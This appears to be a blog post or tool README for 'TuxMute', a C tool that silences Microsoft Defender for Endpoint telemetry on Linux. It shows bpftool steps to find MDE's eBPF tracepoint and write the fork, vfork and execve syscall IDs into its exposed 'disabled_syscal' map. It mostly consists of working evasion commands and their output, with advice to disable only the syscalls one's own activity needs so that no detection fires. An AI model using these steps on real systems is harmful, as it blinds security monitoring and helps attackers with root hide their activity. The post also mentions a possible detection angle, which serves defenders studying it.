
C tool that silences Microsoft Defender for Endpoint telemetry on Linux by writing syscall IDs into the exposed disabled_syscal eBPF map, suppressing process-creation events.

MDE for Linux telemetry silencer.
While it requires root access (not considered a security boundary by Microsoft) it is a very stealthy way of turning off telemetry from MDE for Linux.
Works by abusing exposed bpf map disabled_syscal. It puts the syscal numbers within this map to hinder MDE ability to generate telemetry for given syscal.
Tested on Linux debianMDE 6.12.107+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux.
Microsoft has recently released tamper protection in preview, I was not able to install it on my host yet, cannot confirm if this still would work.
I am not responsible for any misuse of this software.
If you choose to use TuxMute (s1l3nc3r) for malicious purposes, that's only on you.
This tool is provided as-is for research, education, and authorized security testing only.
gcc -O2 -Wall s1l3nc3r.c -o s1l3nc3r -lbp
sudo bpftool prog show
The above command wil list all currently loaded eBPF programs with some details about it hooks into the kernel.
One tracepoint got my attention:
367: tracepoint name sched_process_exec tag 9c75ffc2b762e640 gpl
loaded_at 2026-09-03T14:06:43-0400 uid 0
xlated 13272B jited 7499B memlock 16384B map_ids 69,54,62,71,70,73,58,72
btf_id 126
The above hooks directly into sched:sched_process_exec tracepoint so your typical execve() or execveat() syscalls.
It also provide you with BPF maps that we will get back into soon.
Process creation is quite interesting from the telemetry point of view, thus it might be interesting to learn more about it, won't you think?
sudo bpftool prog dump xlated id 367
With the above we can dump the eBPF bytecode of the program (367) we have identified to some pseudo-assembly instructions.
The output is huge so let's limit ourselves to only firs 30 of lines. NOTE: I will not be following each line, I will just point some interesting things that are quite obvious when you look at this output.
sudo bpftool prog dump xlated id 367 | head -n 30
int sched_process_exec(struct trace_event_raw_sched_process_exec * ctx):
; struct task_struct *task = (void *)bpf_get_current_task();
0: (85) call bpf_get_current_task#-112048
1: (bf) r7 = r0
2: (b7) r1 = 59
3: (63) *(u32 *)(r10 -24) = r1
4: (bf) r2 = r10
5: (07) r2 += -24
; system_call_disabled = bpf_map_lookup_elem(&disabled_syscall_events_map, &syscall_id);
6: (18) r1 = map[id:69]
8: (85) call __htab_map_lookup_elem#288832
9: (15) if r0 == 0x0 goto pc+1
10: (07) r0 += 56
; return system_call_disabled && (*system_call_disabled == 1);
11: (55) if r0 != 0x0 goto pc+155
12: (7b) *(u64 *)(r10 -96) = r7
; uint64_t pid_tid = bpf_get_current_pid_tgid();
13: (85) call bpf_get_current_pid_tgid#245584
14: (bf) r8 = r0
; uint64_t uid_gid = bpf_get_current_uid_gid();
15: (85) call bpf_get_current_uid_gid#246208
16: (bf) r9 = r0
; uint32_t cpu_id = bpf_get_smp_processor_id();
17: (b4) w0 = 217548
18: (bf) r0 = &(void __percpu *)(r0)
19: (61) r0 = *(u32 *)(r0 +0)
; uint32_t cpu_id = bpf_get_smp_processor_id();
20: (63) *(u32 *)(r10 -76) = r0
21: (bf) r2 = r10
22: (07) r2 += -76
We get the pointer to the current process's struct task struct (contains all details about task which in Linux world we can consider just a process or thread). Save the pointer we got into r7.
We load 59 to r1 (59 is a syscall number for x86_64 for execve.
We push it to the stack.
We load reference to map with id 69 (recall the very first dump we did, there were map ids listed). The map is referenced as disabled_syscasll_events_map.
We do lookup to see if 59 is there.
If this is disabled in then it jumps further.
You can go on and on with this to see what in the end would be the path that is executed. However, I do believe that it is quite self-explanatory what the f is happening here.
VERY LIKELY THAT THIS MAP (69, lol I just noticed the number heheheeheheh) is responsible for storing syscall numbers that should be excluded from telemetry generation?
You can dump more info about the map:
sudo bpftool map show id 69
69: hash name disabled_syscal flags 0x0
key 4B value 1B max_entries 512 memlock 55168B
I mean.... it is called disabled_syscal. This also gives us details what the map expects - 4 bytes for key so that would be 32-bit integer for syscall ID and 1 byte for bool that says if it is disabled or not (1|0).
We can update our map with the proper info:
sudo bpftool map update id 69 key 0x3b 0x00 0x00 0x00 value 0x01
sudo bpftool map update id 69 key 0x39 0x00 0x00 0x00 value 0x01
sudo bpftool map update id 69 key 0x3a 0x00 0x00 0x00 value 0x01
sudo bpftool map dump id 69
key: 39 00 00 00 value: 01
key: 3b 00 00 00 value: 01
key: 3a 00 00 00 value: 01
So we updated our map with some syscalls 57 (0x39) fork, 58 (0x3a) vfork, 59 (0x3b) execve. Just some couple of stuff related to process creation.
MDE contains map of these syscal numbers in this file: cat /opt/microsoft/mdatp/conf/syscalls.conf
cat /opt/microsoft/mdatp/conf/syscalls.conf | head -n 60
0=read,3
1=write,3
2=open,3
3=close,1
4=stat,2
5=fstat,2
6=lstat,2
7=poll,3
8=lseek,3
9=mmap,6
10=mprotect,3
<SNIP>
57=fork,0
58=vfork,0
59=execve,3
After performing these activities and then performing numerous of different processes the DeviceProcessEvents is not showing anything.
NOTE: the id of tracepoint and map would be different per every load of ebpf.
From what I have observed after you put the values there it will stay. Obviously, it will not live the reboot.
You can remove the silence:
sudo bpftool map delete id 69 key 0x3b 0x00 0x00 0x00
sudo bpftool map delete id 69 key 0x39 0x00 0x00 0x00
sudo bpftool map delete id 69 key 0x3a 0x00 0x00 0x00
sudo bpftool map dump id 69
Found 0 elements
While the process events were silenced I performed some curls to google and noticed that DeviceNetworkEvents are getting populated; most likely different syscall is responsible for this telemetry. However, interesting this is that you wouldn't find the process using this processid back in DeviceProcessEvents as it is not there (that by itself could be an interesting way of detecting this).
Important things to say that there is currently no detection for this, you will see NO special telemetry, timeline is also impacted by this from what I have noticed.
You could say that this is not a big of a deal, and it is not considered a security boundary because you have a root and you can do anything like kill the process LOL. That's fair, but doing this this ebpf map way is more subtle and it will not generate any telemetry in MDE that would point to tampering with map (PROCESS EVENTS FROM bpftool does not count, you can write user mode program and do it from there lol, so good luck looking for sudo ./beningPROCHEHE in your logs).
What's really important here is telemetry or the LACK of it.
What's more, while syscalls are disabled everything is green when it comes to health of MDE, no biggie mate.
After you got root, you could be reaaaaaly smart about your activities and syscalls you would execute and just disable these to silence only the telemetry required to your activity.
This blog is called maldevblog.com, but if you know me, you kinda get an idea that I dabble in the art of D[h]etection [H]Enginering.